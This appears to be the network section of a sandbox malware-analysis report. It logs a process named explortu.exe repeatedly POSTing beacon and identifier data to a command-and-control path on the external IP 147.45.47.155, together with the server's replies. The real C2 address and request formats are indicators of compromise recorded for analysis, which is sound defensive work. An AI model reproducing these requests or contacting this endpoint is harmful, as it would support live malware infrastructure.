Jun 26, 2024 08:17:16.335844040 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:17.030945063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:17.031773090 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:17.245352983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49830	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:17.366725922 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:18.037014961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:18.037883997 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:18.246398926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49831	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:18.366658926 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49832	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:18.377403975 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:19.053402901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49833	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:19.163810015 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49834	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:19.194451094 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49835	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:19.320446968 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49836	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:19.331228018 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49837	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:19.444919109 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:20.110774994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:20.111726999 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:20.317966938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49838	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:20.429765940 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:21.117338896 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:21.118398905 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:21.329200029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49839	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:21.448076010 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49840	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:21.459722996 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49841	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:21.618398905 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49842	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:21.635267019 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49843	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:21.758234978 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49844	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:21.772558928 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49845	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:21.898724079 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:22.573684931 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:22.574662924 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:22.783272982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49846	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:22.898317099 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:23.594806910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:23.595705986 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:23.811876059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49847	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:23.928823948 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49848	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:23.939934969 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49849	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:24.055435896 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49850	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:24.071614981 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49851	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:24.194883108 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:24.870069981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
